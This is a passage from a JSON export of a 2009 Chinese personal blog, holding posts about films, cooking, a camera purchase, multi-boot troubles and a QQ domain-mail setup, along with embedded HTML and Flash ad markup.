刚刚看完《第九区》，也是一部不错的影片哦。首先从这个立意的角度来分析吧，虽然说第九区是一部描写外星人的老套剧情片，但是思路却又一反常态，并不是一味的讲外星人侵略地球啥的，而是讲人类驱逐外星人的过程。仅仅这点，我相信第九区就有点看头了。其次来说，这外星人的造型我觉得也可以分析一下，真不知道导演是怎么想的，怎么会想到大虾的造型，难道是受了“大侠”的蛊惑？！哈哈……玩笑，反正这次的标新立异总体还好，就是本人对大虾的嘴巴那“牙齿”感觉灰常的恶心。比较搞笑的是，电影里面幼年的外星人真的就是不折不扣的大虾了呢（就是被日尔尼亚人圈起来“斗蛐蛐”的那类）。\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"第九区"},{"comments":{"data":[19],"errmsg":"","errno":0},"contents":"\r昨天和同学玩，得知柯南又有新的剧场版了，《名侦探柯南剧场版十三弹——漆黑的追踪者》。今天赶紧下下来看了下，发觉很不错哦，还是很有看头的。\n一开头就让我的神经绷紧了一下，柯南是工藤的真实身份被Gin知道了！哇塞，当时都要吓死了。结果原来是柯南君做梦，呵，看样子作者真是抓住了“吓死人不偿命”这个硬道理啊。下面介绍下案情：日本出现大范围的凶杀案件，死者身旁都会出现一张七筒的麻将，并且对应的某个圈涂了红色。另外，每位被害者都会丢失一样东西。这次的剧场版的最大看点就是将组织穿插于其中，为什么会牵涉到组织呢，原来组织中的某位间谍是被害者之一，并且其丢失的东西中带有记录组织间谍名单的存储卡。通过重重的搜索后（其中毛利同学依然是表现的那么白痴……），终于发现，两年前由于织女酒店的一场大火而意外死亡的奈奈小姐的哥哥才是真正的凶手。为了将罪名嫁祸给和他妹妹私奔的水谷，他特地将犯罪现场设定在北斗七星和北极星对应的地点……\n上面案情是一条线啦，其中碟中谍的感觉很好。那么另外一条更让我们兴奋的线当然是组织了！组织为了找到存储卡，再警视厅插入了内鬼，代号Irish。Irish颇为厉害，经过指纹查找，发现了柯南君的真实身份。但是因为种种原因，Irish并没有把这件事向Gin汇报。在剧情的最后，Gin判断其不能逃出而无情的将其射杀。柯南君不小心被Gin看到，Gin秉着不留活口的信念用直升机再东京铁塔上和柯南君玩起了枪战。最后的关头，柯南君利用阿笠博士的伸缩式背带将掉落的大灯作为子弹射中Gin的直升机才逃过一劫……\n下面分析下此次出现的几位认为：一、首推小兰同学，平时她出场最多就是一个高抬腿，要么一个过肩摔，犯人就搞定了。但显然Irish也不是随便的主儿，他的功夫也相当了得啊。小兰在冷静的劈开Irish的一发子弹后于其站看了激烈的拳脚战，其实按趋势小兰会赢的。但是小兰突然被Irish半撕的人皮吓着了，就被Irish打晕了。总的来说，这次小兰表现得相当强悍，我很欣赏；二、另外一个就是佐藤了，就是高木老弟青梅竹马的那位。期间只有她（当然除了柯南了）一直在关注着警视厅内鬼一事的，观察力相当强大。而且灰常冷静，再爆胎的情况下还能镇定的指挥高木慢慢开向旁边；三、还有就是这个Irish，也甚是了得啊，不管是从搜查能力（竟然查到了柯南君的真实身份），还是他的真正水平（那跆拳道，跟小兰能比得上，太强大了），另外就是几次都躲过柯南君的暗器的实力（运气？），真实让我佩服；四、最后一个我要说下目暮警官，哇塞，居然就冲上去替那个女警官挡了一刀，勇气可嘉啊，真是个好警官。\nPS:我还有个小小的疑问，难道东京铁塔好高么？塔上面直升机疯狂扫射，难道下面的警察都没点感觉？！囧…… 下面附上一首歌和漆黑的追踪者的两张壁纸：\n歌是第十三弹的主题其PUZZLE，依然是仓木麻衣同学主唱。\n温馨提示：右键单击另存可保存图片。\n","count":1189,"date":"2009年10月04日","featuredImage":null,"permalink":"https://imnerd.org/dark-tracker.html","summary":"\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/9c4c3148ff7e444cb9502867cfbd0844\" alt=\"\" width=\"450\" height=\"150\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e昨天和同学玩，得知柯南又有新的剧场版了，《名侦探柯南剧场版十三弹——漆黑的追踪者》。今天赶紧下下来看了下，发觉很不错哦，还是很有看头的。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e一开头就让我的神经绷紧了一下，柯南是工藤的真实身份被Gin知道了！哇塞，当时都要吓死了。结果原来是柯南君做梦，呵，看样子作者真是抓住了“吓死人不偿命”这个硬道理啊。下面介绍下案情：日本出现大范围的凶杀案件，死者身旁都会出现一张七筒的麻将，并且对应的某个圈涂了红色。另外，每位被害者都会丢失一样东西。这次的剧场版的最大看点就是将组织穿插于其中，为什么会牵涉到组织呢，原来组织中的某位间谍是被害者之一，并且其丢失的东西中带有记录组织间谍名单的存储卡。通过重重的搜索后（其中毛利同学依然是表现的那么白痴……），终于发现，两年前由于织女酒店的一场大火而意外死亡的奈奈小姐的哥哥才是真正的凶手。为了将罪名嫁祸给和他妹妹私奔的水谷，他特地将犯罪现场设定在北斗七星和北极星对应的地点……\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e上面案情是一条线啦，其中碟中谍的感觉很好。那么另外一条更让我们兴奋的线当然是组织了！组织为了找到存储卡，再警视厅插入了内鬼，代号Irish。Irish颇为厉害，经过指纹查找，发现了柯南君的真实身份。但是因为种种原因，Irish并没有把这件事向Gin汇报。在剧情的最后，Gin判断其不能逃出而无情的将其射杀。柯南君不小心被Gin看到，Gin秉着不留活口的信念用直升机再东京铁塔上和柯南君玩起了枪战。最后的关头，柯南君利用阿笠博士的伸缩式背带将掉落的大灯作为子弹射中Gin的直升机才逃过一劫……\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e下面分析下此次出现的几位认为：一、首推小兰同学，平时她出场最多就是一个高抬腿，要么一个过肩摔，犯人就搞定了。但显然Irish也不是随便的主儿，他的功夫也相当了得啊。小兰在冷静的劈开Irish的一发子弹后于其站看了激烈的拳脚战，其实按趋势小兰会赢的。但是小兰突然被Irish半撕的人皮吓着了，就被Irish打晕了。总的来说，这次小兰表现得相当强悍，我很欣赏；二、另外一个就是佐藤了，就是高木老弟青梅竹马的那位。期间只有她（当然除了柯南了）一直在关注着警视厅内鬼一事的，观察力相当强大。而且灰常冷静，再爆胎的情况下还能镇定的指挥高木慢慢开向旁边；三、还有就是这个Irish，也甚是了得啊，不管是从搜查能力（竟然查到了柯南君的真实身份），还是他的真正水平（那跆拳道，跟小兰能比得上，太强大了），另外就是几次都躲过柯南君的暗器的实力（运气？），真实让我佩服；四、最后一个我要说下目暮警官，哇塞，居然就冲上去替那个女警官挡了一刀，勇气可嘉啊，真是个好警官。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003ePS:我还有个小小的疑问，难道东京铁塔好高么？塔上面直升机疯狂扫射，难道下面的警察都没点感觉？！囧……\n\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e下面附上一首歌和漆黑的追踪者的两张壁纸：\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color:#333399;\"\u003e歌是第十三弹的主题其PUZZLE，依然是仓木麻衣同学主唱。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"160\" height=\"32\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"src\" value=\"http://8box.cn/feed/9129E6_s_472127_/mini.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"160\" height=\"32\" src=\"http://8box.cn/feed/9129E6_s_472127_/mini.swf\" wmode=\"transparent\"\u003e\u003c/embed\u003e\u003c/object\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #333399;\"\u003e温馨提示：右键单击另存可保存图片。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/9a539a5125c94643837c2206f69f1a88\" alt=\"\" width=\"800\" height=\"350\" /\u003e\r\n\u003c!-- m o r e --\u003e\r\n\u003cimg src=\"http://api.photoshop.com/home_a10b5d2e2e264875b7b9c42f1d7b8e47/adobe-px-assets/f116c0fb84374162b489d91dc48840fc\" alt=\"\" width=\"751\" height=\"300\" /\u003e","time":3,"title":"漆黑的追踪者"},{"comments":{"data":[27],"errmsg":"","errno":0},"contents":" 话说这件事情是发生在国庆那天的，本来早就应该发上来的，但是……恩，人懒，没办法，见谅。\n正事：俩拖油瓶回来的时候就有冲动要自己做饭了，表面上是说给他们补补，其实是有实验对象了，做得不好不用愁没地方搁了。所以，我再国庆那天，做了自己有史以来的第一顿饭，真的是很奇迹啊。废话少说，我先贴图。\n[gallery link=\"file\" order=\"DESC\"]\r温馨提示：请点击图片查看大图\n总共是四个菜的［还有一个菜炒得太难看了，摆不上台面。］，炖排骨，炒白菜，烤鸭。虽然是简单的几道菜，我也很激动哦。第一次摸生猪肉，果然有点点恶心，但比起鱼，又是好之又好的了。那个超级难看的菜主要是东西放多了，很难炒，就加了点水，没想到水加多了，搞得很恶心，不过味道还好。这不是我说的哦，老二老三说的。连续拍了两张，明显右边的比左边的那张更鲜艳点，额，忘记是哪个模式的了。不过F200EXR的EXR模式真的很好用，再这个模式下你要做的就只是按快门了，呵呵。\r恩，下面再来说说悲惨点的事儿。前些天不是疯狂装系统么，Vista+7+Ubuntu，先是Vista，然后是Ubuntu，最后是7。这样7就把Ubuntu得Grub引导文件覆盖了，进不了Ubuntu。当时也不知道怎么弄，按着Grub4DOS的一些教程乱七八糟弄了一通。重启总算是能够进Ubuntu了。玩了一会儿再重启，傻眼了，Vista和7都进不去了。然后我在Ubuntu里面七搞八搞，最后竟然让我不小心删了menu.lst文件。Ubuntu的权限很恶心，我根本设置不来，按照网上的说法也不行。最后本来是说试试的，就再终端输了个RM命令，没想到成功了，但是CP总是失败，所以我说权限很恶心。没了这个menu.lst，我现在是三个系统都进不去了。于是乎Ubuntu的Live CD还有Windows PE都给我做启动盘去了。在历经我无数次的尝试之后。我终于放弃了最后的挣扎，决定全盘格式化！我当时那个无奈啊，肯定是磁盘的头文件给我删掉了，要不然系统盘也 不至于不认盘了。可惜了我的资料，基本上是四年左右了吧。装Vista的步骤依旧是那么的繁琐，我都睡着了。这次我学乖了，先装7在来装Ubuntu，嘿嘿。有句话怎么说来着，无折腾，不生活？\n好啦，我再贴一张结尾吧，是我“家”门前的某植物[不认识啊，是不是铁树？]本来还有学校广播操的一些照片的，想想算了，一下子贴这么多系列，有些受不了呢。好了，不多数了，看图说话。\n","count":985,"date":"2009年10月02日","featuredImage":null,"permalink":"https://imnerd.org/my-first-time.html","summary":"\u003cp\u003e\u003cobject id=\"1203376\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"450\" height=\"150\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"name\" value=\"1203376\" /\u003e\u003cparam name=\"flashvars\" value=\"bannerWidth=450\u0026amp;bannerHeight=150\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-10-02/2009-10-02_3538cc8b7748856f10092cac7f6f542a_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://\u0026amp;dataSource=\u0026amp;bid=1203376\" /\u003e\u003cparam name=\"src\" value=\"https://imnerd.org/wp-content/uploads/material/20091002.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cparam name=\"quality\" value=\"high\" /\u003e\u003cembed id=\"1203376\" type=\"application/x-shockwave-flash\" width=\"450\" height=\"150\" src=\"https://imnerd.org/wp-content/uploads/material/20091002.swf\" quality=\"high\" wmode=\"transparent\" flashvars=\"bannerWidth=450\u0026amp;bannerHeight=150\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-10-02/2009-10-02_3538cc8b7748856f10092cac7f6f542a_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://\u0026amp;dataSource=\u0026amp;bid=1203376\" name=\"1203376\"\u003e\u003c/embed\u003e\u003c/object\u003e\n\u003cspan style=\"font-family: 微软雅黑;\"\u003e\u003cspan style=\"color: #333399;\"\u003e话说这件事情是发生在国庆那天的，本来早就应该发上来的，但是……恩，人懒，没办法，见谅。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"我的第一次"},{"comments":{"data":[15],"errmsg":"","errno":0},"contents":"\n咳咳，万总瞩目，众人期待的国庆节终于到了呀，呵呵。大家可能看到啦，为了迎接祖国母亲六十大寿，我的博客也特地换上了新的头部了。汗，这个图可真难找，关于国庆的基本都是红艳艳的，开始做了一个更是，花花绿绿的，搞得我字都不好放了。这个蓝色的很别致，就凑活凑活弄上来啦。大家觉得怎么样？\n啊，说了半天还没跟大家说国庆快乐呢，哦，对，还有中秋。每次看到月亮啊，我就会想到小学时候学的那篇课文：“弯弯的月亮小小的船，小小的船儿两头尖，我坐在小小的船儿上……”呵呵，说起劲来了。\n国庆节放8天假，两个拖油瓶依旧要回来，还要跟老二借九年级下册的历史书和生物书。这可让我从何借起啊。算了，等他们回来再说吧。我妈还骗我说不让他们回来的，结果他们还是要回来，我这个国庆又要兼职当保姆了。洋哥有去寝室长家里的打算，因为他家离这里不远，在南昌而已。呵呵。最重要的事是，他家好像是开小卖部的，哈哈~到时候还不把他们家的小卖部吃穷死，嘿嘿。洋哥说去南昌买衣服，汗……我在这里都不愿意出去买衣服呢，还要千里迢迢地跑到南昌去，郁闷。\n暂时只能扯这么多出来了,最后再说一句:大家国庆中秋快乐啊! ","count":475,"date":"2009年09月30日","featuredImage":null,"permalink":"https://imnerd.org/their-loved-ones-during-the-festive-season.html","summary":"\u003cp\u003e\u003cobject id=\"1048292\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"450\" height=\"150\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"name\" value=\"1048292\" /\u003e\u003cparam name=\"flashvars\" value=\"bannerWidth=450\u0026amp;bannerHeight=150\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-09-21/2009-09-21_821de730ad9ad591b597bb0d1882858b_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=https://imnerd.org\u0026amp;dataSource=\u0026amp;bid=1048292\" /\u003e\u003cparam name=\"src\" value=\"https://imnerd.org/wp-content/uploads/material/20091001.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cparam name=\"quality\" value=\"high\" /\u003e\u003cembed id=\"1048292\" type=\"application/x-shockwave-flash\" width=\"450\" height=\"150\" src=\"https://imnerd.org/wp-content/uploads/material/20091001.swf\" quality=\"high\" wmode=\"transparent\" flashvars=\"bannerWidth=450\u0026amp;bannerHeight=150\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-09-21/2009-09-21_821de730ad9ad591b597bb0d1882858b_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=https://imnerd.org\u0026amp;dataSource=\u0026amp;bid=1048292\" name=\"1048292\"\u003e\u003c/embed\u003e\u003c/object\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e咳咳，万总瞩目，众人期待的国庆节终于到了呀，呵呵。大家可能看到啦，为了迎接祖国母亲六十大寿，我的博客也特地换上了新的头部了。汗，这个图可真难找，关于国庆的基本都是红艳艳的，开始做了一个更是，花花绿绿的，搞得我字都不好放了。这个蓝色的很别致，就凑活凑活弄上来啦。大家觉得怎么样？\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e啊，说了半天还没跟大家说国庆快乐呢，哦，对，还有中秋。每次看到月亮啊，我就会想到小学时候学的那篇课文：“弯弯的月亮小小的船，小小的船儿两头尖，我坐在小小的船儿上……”呵呵，说起劲来了。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e国庆节放8天假，两个拖油瓶依旧要回来，还要跟老二借九年级下册的历史书和生物书。这可让我从何借起啊。算了，等他们回来再说吧。我妈还骗我说不让他们回来的，结果他们还是要回来，我这个国庆又要兼职当保姆了。洋哥有去寝室长家里的打算，因为他家离这里不远，在南昌而已。呵呵。最重要的事是，他家好像是开小卖部的，哈哈~到时候还不把他们家的小卖部吃穷死，嘿嘿。洋哥说去南昌买衣服，汗……我在这里都不愿意出去买衣服呢，还要千里迢迢地跑到南昌去，郁闷。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑\"\u003e暂时只能扯这么多出来了,最后再说一句:大家国庆中秋快乐啊!\n\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":1,"title":"每逢佳节倍思亲"},{"comments":{"data":[20],"errmsg":"","errno":0},"contents":" 前两天贴出个相机到了的日志，结果大家都跟我说不能评论了。我看下，原来是妖狐那个评论预览的JS搞的鬼。可能是我自己没有弄好吧（要不然就是妖狐的那个JS压根就有问题），反正总会弹出个窗口提示未知错误。我知道后赶紧就把那个JS给撤了下来。等妖狐从牺牲状态下恢复过来我再去问他吧。在这里还要给诸位说声不好意思啦。我知道，不能给大家水这是一件很郁闷的事情的。 :ya: 呵呵。\n那片日志发表出来后，就有一小戳不知道是左派还是右派分子在那里积极鼓动我亮照片（这句话真共产党…… :mrgreen: ）。但是苦于相机第一天到手就被借走了，然后自己也没拍别的啥，没啥好传的，就莫传喽。大家要看的话，我今天就把我同学借去拍老乡会然后存在里面的一大堆的菜拿出来给大家分享一下吧（所以让大家自备干粮了，最好还要带上纸巾 :) ）。恩，另外，我再搜搜看有没有能够拿的出手的相片…… :tp: [囧，相机照的照片太大了，传不上来，只好压缩下啦，大家凑活凑活看看吧，小心别留口水]\n[前面两张是拿来凑数的，一张是我废弃的书架一角，一张是本地某高楼……] [gallery link=\u0026ldquo;file\u0026rdquo; order=\u0026ldquo;DESC\u0026rdquo;]\n[开始是想放前几张上来然后放这个Flash出来的，没想到WP有个相册列的功能，挺好用的。想了想，还是把下面这个也放上来啦，毕竟都是自己弄的么。] ","count":512,"date":"2009年09月28日","featuredImage":null,"permalink":"https://imnerd.org/food-photo-blog.html","summary":"\u003cp\u003e\u003cobject id=\"1147448\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"450\" height=\"120\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"name\" value=\"1147448\" /\u003e\u003cparam name=\"flashvars\" value=\"bannerWidth=450\u0026amp;bannerHeight=120\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-09-28/2009-09-28_db43d8c08d107b691acff5c0014b28d4_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://\u0026amp;dataSource=\u0026amp;bid=1147448\" /\u003e\u003cparam name=\"src\" value=\"http://img.alimama.cn/bm/bcv1.swf?v=9d8b58da328c11e94d925176fd2191fac84c184a\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cparam name=\"quality\" value=\"high\" /\u003e\u003cembed id=\"1147448\" type=\"application/x-shockwave-flash\" width=\"450\" height=\"120\" src=\"http://img.alimama.cn/bm/bcv1.swf?v=9d8b58da328c11e94d925176fd2191fac84c184a\" quality=\"high\" wmode=\"transparent\" flashvars=\"bannerWidth=450\u0026amp;bannerHeight=120\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-09-28/2009-09-28_db43d8c08d107b691acff5c0014b28d4_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://\u0026amp;dataSource=\u0026amp;bid=1147448\" name=\"1147448\"\u003e\u003c/embed\u003e\u003c/object\u003e\n\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e前两天贴出个相机到了的日志，结果大家都跟我说不能评论了。我看下，原来是妖狐那个评论预览的JS搞的鬼。可能是我自己没有弄好吧（要不然就是妖狐的那个JS压根就有问题），反正总会弹出个窗口提示未知错误。我知道后赶紧就把那个JS给撤了下来。等妖狐从牺牲状态下恢复过来我再去问他吧。在这里还要给诸位说声不好意思啦。我知道，不能给大家水这是一件很郁闷的事情的。 :ya: 呵呵。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color:#333399;\"\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e那片日志发表出来后，就有一小戳不知道是左派还是右派分子在那里积极鼓动我亮照片（这句话真共产党…… :mrgreen: ）。但是苦于相机第一天到手就被借走了，然后自己也没拍别的啥，没啥好传的，就莫传喽。大家要看的话，我今天就把我同学借去拍老乡会然后存在里面的一大堆的菜拿出来给大家分享一下吧（所以让大家自备干粮了，最好还要带上纸巾 :) ）。恩，另外，我再搜搜看有没有能够拿的出手的相片…… :tp: \u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"食物照片志"},{"comments":{"data":[18],"errmsg":"","errno":0},"contents":"\n历尽千辛万苦，等了无数个岁月，等到花儿都谢了，京东终于是把相机送过来了。当时那个激动啊，就差没对快递的痛哭流涕了，呵呵。拆开包装一看，恩，这次寄来的终于是好的了。开机测试，恩，一切也是正常的，只是很汗的一个问题，我拍的第一张照片不是000，而且我拍的照片噪点不知道怎么搞的，比较多啊。这个不知道要不要紧，算了，我还是相信一下京东的品质吧。下面贴下我的辛酸相机史：\n本人于某年某月的某一天，看了篇帖子，知道了京东这个传说当中只卖行货的地方，然后看了价钱，觉得还行，就在那里买了台富士F200EXR，另外还买了一个相机袋子，一块4GBSD卡和一块电池（听说F200EXR是个电老虎）。无聊的过了两三天后，货到了，我兴冲冲的跑出教室（当时我在自习），拿到包裹，拆开，打开相机，傻了。这相机屏幕怎么一片漆黑，还泛着紫啊，试着照了几张照片，也是那样的。开始还以为我比较笨，没有设置好呢，后来跑ZOL论坛上一问，还真是坏的（有人说可能是CCD坏了）。我顿时就黑线了，京东，传说当中卖行货的地方，当然，人家可没说卖的是好货，居然寄个这样的东西给我，要知道，我可是第一次网购行货啊，顿时对网购行货产生了阴影，想着以后还是老老实实地买我的水货去。\n然后步骤也部繁琐，在京东立即就填写了返修单，虽然说是返修单，但是我可是很明确要它换货的。返修单的确定还是比较及时的，没到一天吧，就确定了，有给我寄回去的地址等信息。还是没看到要寄回去的东西，落了张缴费单，结果白白跑了两趟快递，哭。下面可就好等了，我13号寄的，14号左右他们那边就收到了，然后我是昨天，也就是25号才拿到货物的，中间少说肯定有10天了，就这个速度，我真的是不敢恭维。不过不管怎么说，总算是安全抵达了。\n现在回头想想，也不知道京东是不是故意寄个坏的给我的，毕竟返货的邮费可是我出的额，一场巨大的阴谋。但想想又不大可能啊，邮费虽然是我出的，但是又不是京东收的，汗！而且，京东有个最大的不好处就是，你休想找到京东的一个客服人员，注意，我说的是人……每次拨打京东的客服都是座机占线。我也不明白这是真正的占线还是根本就是没人，但我知道，没有一个智能的客服系统，一个网店也是很难维持下去的。只能在评论栏里面发着自己的牢骚这种感觉实在是不爽。不过前些天他们要寄相机的时候还真有个男的，貌似是客服（京东就是个性，客服也搞男的）吧，打电话给我通知我说要寄了，让我记得去查收一下。当时接到电话也没反应过来，后来挂了电话才反应过来，应该有好多问题要问他的。不过现在没机会了，打回去依然是机器人的声音。\n这次京东的购物确实让我对京东产生了很大的阴影，估计以后都不会去京东了吧。 ","count":1095,"date":"2009年09月26日","featuredImage":null,"permalink":"https://imnerd.org/camera-to-the.html","summary":"\u003cp\u003e\u003cobject id=\"1115135\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"450\" height=\"120\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"name\" value=\"1115135\" /\u003e\u003cparam name=\"flashvars\" value=\"bannerWidth=450\u0026amp;bannerHeight=120\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-09-26/2009-09-26_7ed1cff331db0db0ec91835655188e37_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://\u0026amp;dataSource=\u0026amp;bid=1115135\" /\u003e\u003cparam name=\"src\" value=\"https://imnerd.org/wp-content/uploads/material/20090926.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cparam name=\"quality\" value=\"high\" /\u003e\u003cembed id=\"1115135\" type=\"application/x-shockwave-flash\" width=\"450\" height=\"120\" src=\"https://imnerd.org/wp-content/uploads/material/20090926.swf\" quality=\"high\" wmode=\"transparent\" flashvars=\"bannerWidth=450\u0026amp;bannerHeight=120\u0026amp;bannerSID=http://img.alimama.cn/bm/x/2009-09-26/2009-09-26_7ed1cff331db0db0ec91835655188e37_0.xml\u0026amp;bannerXML=\u0026amp;bannerLink=http://\u0026amp;dataSource=\u0026amp;bid=1115135\" name=\"1115135\"\u003e\u003c/embed\u003e\u003c/object\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family:微软雅黑;\"\u003e\u003cspan style=\"color: #333399;\"\u003e历尽千辛万苦，等了无数个岁月，等到花儿都谢了，京东终于是把相机送过来了。当时那个激动啊，就差没对快递的痛哭流涕了，呵呵。拆开包装一看，恩，这次寄来的终于是好的了。开机测试，恩，一切也是正常的，只是很汗的一个问题，我拍的第一张照片不是000，而且我拍的照片噪点不知道怎么搞的，比较多啊。这个不知道要不要紧，算了，我还是相信一下京东的品质吧。下面贴下我的辛酸相机史：\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":3,"title":"相机到了"},{"comments":{"data":[27],"errmsg":"","errno":0},"contents":"\n前些天大家都搞QQ域名邮箱搞得火热，弄得我也很手痒。以前设置的那CPanel邮箱不知道怎么搞的，最近连连出问题。所以我也搞了下QQ的这个域名邮箱。使用了一下，发现其实跟我们平常的个人邮箱没什么区别，甚至整合到我们的QQ号里面去了，不晓得这好不好。我的域名是互易中国的，他们的解析面板不知道怎么搞的，加MX记录很别扭的，我在搜搜上也看到人问了，下面我就贴一下我设置域名邮箱的全过程吧。\n首先，点击到QQ邮箱里面，然后选择设置→体验室→域名邮箱。输入自己的域名之后，有个验证过程。步骤一有两种方法，为了方便，我选择了上传文件。下面我重要讲的是第二步了。由于互易的解析面板中加MX记录的时候后面总会跟个尾巴，所以我这里采取了另类的办法加邮件记录。具体请看图：\n一、当然是登录自己域名的解析面板了，找到DNS管理那栏。选择增加邮件记录，按照图所示填写\n二、如果是按照上面步骤填写的话，点击增加，你会在MX记录中看到如下记录：\n三、关键的时候到了，下面我们点击这个记录后面的修改，就是那只铅笔啦，出现如下界面，并按照图片所示修改\n看到没，这里就可以把自己的域名去掉啦，还等什么，赶快动手啦！最后的结果应该如下所示。\n到此，域名邮箱的验证过程就全部完成啦，稍等片刻之后，QQ域名邮箱那里会显示验证成功的。然后在成员管理那里添加管理员帐号，所有的过程就OK拉。对了，以上都是拿我自己的域名做的示例，大家把我的域名换成自己的域名就OK拉。如果还有什么不明白的，可以在评论中留言下面贴下我的域名邮箱的部分截图。还算不错的，呵呵。\n","count":649,"date":"2009年09月21日","featuredImage":null,"permalink":"https://imnerd.org/e-mail-the-entire-process-of-my-domain.html","summary":"\u003cp\u003e\u003cspan style=\"color: #000000;\"\u003e\u003cimg class=\"aligncenter\" src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fwww.douban.com%2Fview%2Fphoto%2Fphoto%2F595f5df79c5dc1f7e7314400a12c1caa%2Fx318750526.jpg\" alt=\"\" width=\"450\" height=\"73\" /\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"color: #333399;\"\u003e\u003cspan style=\"font-family: 微软雅黑;\"\u003e前些天大家都搞QQ域名邮箱搞得火热，弄得我也很手痒。以前设置的那CPanel邮箱不知道怎么搞的，最近连连出问题。所以我也搞了下QQ的这个域名邮箱。使用了一下，发现其实跟我们平常的个人邮箱没什么区别，甚至整合到我们的QQ号里面去了，不晓得这好不好。我的域名是互易中国的，他们的解析面板不知道怎么搞的，加MX记录很别扭的，我在搜搜上也看到人问了，下面我就贴一下我设置域名邮箱的全过程吧。\u003c/span\u003e\u003c/span\u003e\u003c/p\u003e","time":2,"title":"我的域名邮箱全过程"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":" 总结，有什么好总结的呢，恩，就分个框架吧。先从计算机说起。 前些天KevinDeng告诉我，说联想的可以不用刷BOIS装Windos 7，把我个高兴啊，要了破解程序之后，终于在昨天有空的时候装上了。系统下载的文件时用上次妖狐那里的……不晓得是不是最新的了。Windows 